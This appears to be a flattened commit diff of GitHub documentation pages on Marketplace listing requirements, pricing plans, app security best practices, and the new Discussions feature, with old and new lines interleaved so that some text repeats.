paid plan on a Marketplace listing, but will not be able to create more than one free trial for a Marketplace product. Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product. Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel. See "[New purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)" for details on how to handle free trials in your app. For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/)." {% note %} 61 content/developers/github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- title: Requirements for listing an app intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before our {% data variables.product.prodname_marketplace %} onboarding specialists will approve the listing.' intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -12,49 +12,62 @@ versions: free-pro-team: '*' --- <!--UI-LINK: Displayed as a link on the https://github.com/marketplace/new page.--> The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. Before you submit your app for review, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." You'll accept the terms within your [draft listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) on {% data variables.product.product_name %}. Once you've submitted your app, one of the {% data variables.product.prodname_marketplace %} onboarding specialists will reach out to you with more information about the onboarding process, and review your app to ensure it meets these requirements: ### Requirements for all {% data variables.product.prodname_marketplace %} listings ### User experience All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. #### User experience requirements for all apps All listings should meet the following requirements, regardless of whether they are for a free or paid app. - Listings must not actively persuade users away from {% data variables.product.product_name %}. - Listings must include valid contact information for the publisher. - Listings must have a relevant description of the application. - Listings must specify a pricing plan. - Apps must provide value to customers and integrate with the platform in some way beyond authentication. - Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. - Apps cannot actively persuade users away from {% data variables.product.product_name %}. - Marketing materials for the app must accurately represent the app's behavior. - Apps must include links to user-facing documentation that describe how to set up and use the app. - When a customer purchases an app and GitHub redirects them to the app's installation URL, the app must begin the OAuth flow immediately. For details, see "[Handling new purchases and free trials](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/#step-3-authorization)." - Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." - Customers must be able to install your app and select repositories on both a personal and organization account. They should be able to view and manage those accounts separately. For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." ### Brand and listing #### Brand and listing requirements for all apps - Apps that use GitHub logos must follow the "[{% data variables.product.product_name %} Logos and Usage](https://github.com/logos)" guidelines. - Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." - Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." - Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." ### Security To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." ### Considerations for free apps Apps will go through a security review before being listed on {% data variables.product.prodname_marketplace %}. A successful review will meet the requirements and follow the security best practices listed in "[Security review process](/marketplace/getting-started/security-review-process/)." For information on the review process, contact [[email protected]](mailto:[email protected]). {% data reusables.marketplace.free-apps-encouraged %} ### Requirements for paid apps In addition to the requirements for all apps above, each app that you offer as a paid service on {% data variables.product.prodname_marketplace %} must also meet the following requirements: - {% data variables.product.prodname_github_app %}s should have a minimum of 100 installations. - {% data variables.product.prodname_oauth_app %}s should have a minimum of 200 users. - All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. - Publishing organizations must have a verified domain and must enable two-factor authentication. For more information, see "[Requiring two-factor authentication in your organization](/github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization.") ### Billing flows When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the listing. Your app must integrate [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows) using the [{% data variables.product.prodname_marketplace %} webhook event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/). {% note %} #### Free apps The verification process is open to organizations. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% data reusables.marketplace.free-apps-encouraged %} If you are listing a free app, you'll need to meet these requirements: {% endnote %} - Customers must be able to see that they have a free plan in the billing, profile, or account settings section of the app. - When a customer cancels your app, you must follow the flow for [cancelling plans](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/). ### Billing requirements for paid apps #### Paid apps Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." To offer your app as a paid service, you'll need to meet these requirements to list your app on {% data variables.product.prodname_marketplace %}: Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - To sell your app in {% data variables.product.prodname_marketplace %}, it must use GitHub's billing system. Your app does not need to handle payments but does need to use "[{% data variables.product.prodname_marketplace %} purchase events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" to manage new purchases, upgrades, downgrades, cancellations, and free trials. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" to learn about how to integrate these events into your app. Using GitHub's billing system allows customers to purchase an app without leaving GitHub and pay for the service with the payment method already attached to their {% data variables.product.product_name %} account. - Apps must support both monthly and annual billing for paid subscriptions purchases. - Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." {% data reusables.marketplace.marketplace-billing-ui-requirements %} 60 content/developers/github-marketplace/security-best-practices-for-apps.md @@ -0,0 +1,60 @@ --- title: Security best practices for apps intro: 'Guidelines for preparing a secure app to share on {% data variables.product.prodname_marketplace %}.' redirect_from: - /apps/marketplace/getting-started/security-review-process/ - /marketplace/getting-started/security-review-process - /developers/github-marketplace/security-review-process-for-submitted-apps shortTitle: Security best practice versions: free-pro-team: '*' --- If you follow these best practices it will help you to provide a secure user experience. ### Authorization, authentication, and access control We recommend creating a GitHub App rather than an OAuth App. {% data reusables.marketplace.github_apps_preferred %}. See "[Differences between GitHub Apps and OAuth Apps](/apps/differences-between-apps/)" for more details. - Apps should use the principle of least privilege and should only request the OAuth scopes and GitHub App permissions that the app needs to perform its intended functionality. For more information, see [Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) in Wikipedia. - Apps should provide customers with a way to delete their account, without having to email or call a support person. - Apps should not share tokens between different implementations of the app. For example, a desktop app should have a separate token from a web-based app. Individual tokens allow each app to request the access needed for GitHub resources separately. - Design your app with different user roles, depending on the functionality needed by each type of user. For example, a standard user should not have access to admin functionality, and billing managers might not need push access to repository code. - Apps should not share service accounts such as email or database services to manage your SaaS service. - All services used in your app should have unique login and password credentials. - Admin privilege access to the production hosting infrastructure should only be given to engineers and employees with administrative duties. - Apps should not use personal access tokens to authenticate and should authenticate as an [OAuth App](/apps/about-apps/#about-oauth-apps) or a [GitHub App](/apps/about-apps/#about-github-apps): - OAuth Apps should authenticate using an [OAuth token](/apps/building-oauth-apps/authorizing-oauth-apps/). - GitHub Apps should authenticate using either a [JSON Web Token (JWT)](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app), [OAuth token](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/), or [installation access token](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). ### Data protection - Apps should encrypt data transferred over the public internet using HTTPS, with a valid TLS certificate, or SSH for Git. - Apps should store client ID and client secret keys securely. We recommend storing them as [environmental variables](http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables). - Apps should delete all GitHub user data within 30 days of receiving a request from the user, or within 30 days of the end of the user's legal relationship with GitHub. - Apps should not require the user to provide their GitHub password. - Apps should encrypt tokens, client IDs, and client secrets. ### Logging and monitoring Apps should have logging and monitoring capabilities. App logs should be retained for at least 30 days and archived for at least one year. A security log should include: - Authentication and authorization events - Service configuration changes - Object reads and writes - All user and group permission changes - Elevation of role to admin - Consistent timestamping for each event - Source users, IP addresses, and/or hostnames for all logged actions ### Incident response workflow To provide a secure experience for users, you should have a clear incident response plan in place before listing your app. We recommend having a security and operations incident response team in your company rather than using a third-party vendor. You should have the capability to notify {% data variables.product.product_name %} within 24 hours of a confirmed incident. For an example of an incident response workflow, see the "Data Breach Response Policy" on the [SANS Institute website](https://www.sans.org/information-security-policy/). A short document with clear steps to take in the event of an incident is more valuable than a lengthy policy template. ### Vulnerability management and patching workflow You should conduct regular vulnerability scans of production infrastructure. You should triage the results of vulnerability scans and define a period of time in which you agree to remediate the vulnerability. If you are not ready to set up a full vulnerability management program, it's useful to start by creating a patching process. For guidance in creating a patch management policy, see this TechRepublic article "[Establish a patch management policy](https://www.techrepublic.com/blog/it-security/establish-a-patch-management-policy-87756/)." 94 ...ent/developers/github-marketplace/security-review-process-for-submitted-apps.md This file was deleted. 53 content/developers/github-marketplace/setting-pricing-plans-for-your-listing.md @@ -1,6 +1,6 @@ --- title: Setting pricing plans for your listing intro: 'When [listing your app on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/), you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' intro: 'When you list your app on {% data variables.product.prodname_marketplace %}, you can choose to provide your app as a free service or sell your app. If you plan to sell your app, you can create different pricing plans for different feature tiers.' redirect_from: - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan/ @@ -17,57 +17,52 @@ versions: free-pro-team: '*' --- ### About setting pricing plans If you want to sell an app on {% data variables.product.prodname_marketplace %}, you need to request verification when you publish the listing for your app. During the verification process, an onboarding expert checks the organization's identity and security settings. The onboarding expert will also take the organization through financial onboarding. For more information, see: "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)." ### Creating pricing plans To learn about the types of pricing plans that {% data variables.product.prodname_marketplace %} offers, see "[{% data variables.product.prodname_marketplace %} Pricing Plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." You'll also find helpful billing guidelines in "[Selling your app](/marketplace/selling-your-app/)." Pricing plans can be in the draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published listing will function the same way as draft listings until your app is approved and listed on {% data variables.product.prodname_marketplace %}. Draft listings allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish the pricing plan, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). If you haven't created a {% data variables.product.prodname_marketplace %} listing yet, read "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)" to learn how. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: {% data variables.product.prodname_marketplace %} offers several different types of pricing plan. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)." #### Plan name ### About saving pricing plans Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align to the plan's resources, the size of the company that will use the plan, or anything you'd like. You can save pricing plans in a draft or published state. If you haven't submitted your {% data variables.product.prodname_marketplace %} listing for approval, a published plan will function in the same way as a draft plan until your listing is approved and shown on {% data variables.product.prodname_marketplace %}. Draft plans allow you to create and save new pricing plans without making them available on your {% data variables.product.prodname_marketplace %} listing page. Once you publish a pricing plan on a published listing, it's available for customers to purchase immediately. You can publish up to 10 pricing plans. #### Pricing models For guidelines on billing customers, see "[Billing customers](/developers/github-marketplace/billing-customers)." ##### Free plans {% data reusables.marketplace.free-apps-encouraged %} A free plan still requires you to handle [new purchase](/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/) and [cancellation](/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/) billing flows. See "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)" for more details. ##### Flat-rate plans ### Creating pricing plans Flat-rate pricing plans allow you to offer your service to customers for a flat-rate fee. {% data reusables.marketplace.marketplace-pricing-free-trials %} To create a pricing plan for your {% data variables.product.prodname_marketplace %} listing, click **Plans and pricing** in the left sidebar of your [{% data variables.product.prodname_marketplace %} listing page](https://github.com/marketplace/manage). For more information, see "[Creating a draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/)." You must set a price for both monthly and yearly subscriptions in U.S. Dollars for flat-rate plans. When you click **New draft plan**, you'll see a form that allows you to customize your pricing plan. You'll need to configure the following fields to create a pricing plan: ##### Per-unit plans - **Plan name** - Your pricing plan's name will appear on your {% data variables.product.prodname_marketplace %} app's landing page. You can customize the name of your pricing plan to align with the plan's resources, the size of the company that will use the plan, or anything you'd like. Per-unit pricing allows you to offer your app in units. For example, a unit can be a person, seat, or user. You'll need to provide a name for the unit and set a price for both monthly and yearly subscriptions, in U.S. Dollars. - **Pricing models** - There are three types of pricing plan: free, flat-rate, and per-unit. All plans require you to process new purchase and cancellation events from the marketplace API. In addition, for paid plans: #### Available for - You must set a price for both monthly and yearly subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it. ![Button to remove your pricing plan](/assets/images/marketplace/marketplace_remove_this_plan.png) Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing. ![Unverified and verified request button](/assets/images/marketplace/marketplace-request-button.png) {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows ![Discussions tab for a repository](/assets/images/help/discussions/hero.png) You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[‎About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)" ![Most helpful contributors to discussions for a project](/assets/images/help/discussions/most-helpful.png) For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results. ![Search bar and buttons for filtering discussions](/assets/images/help/discussions/search-and-filter-controls.png) 1. In the list of discussions, click the discussion you want to view. ![Discussion search results](/assets/images/help/discussions/search-result.png) ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites 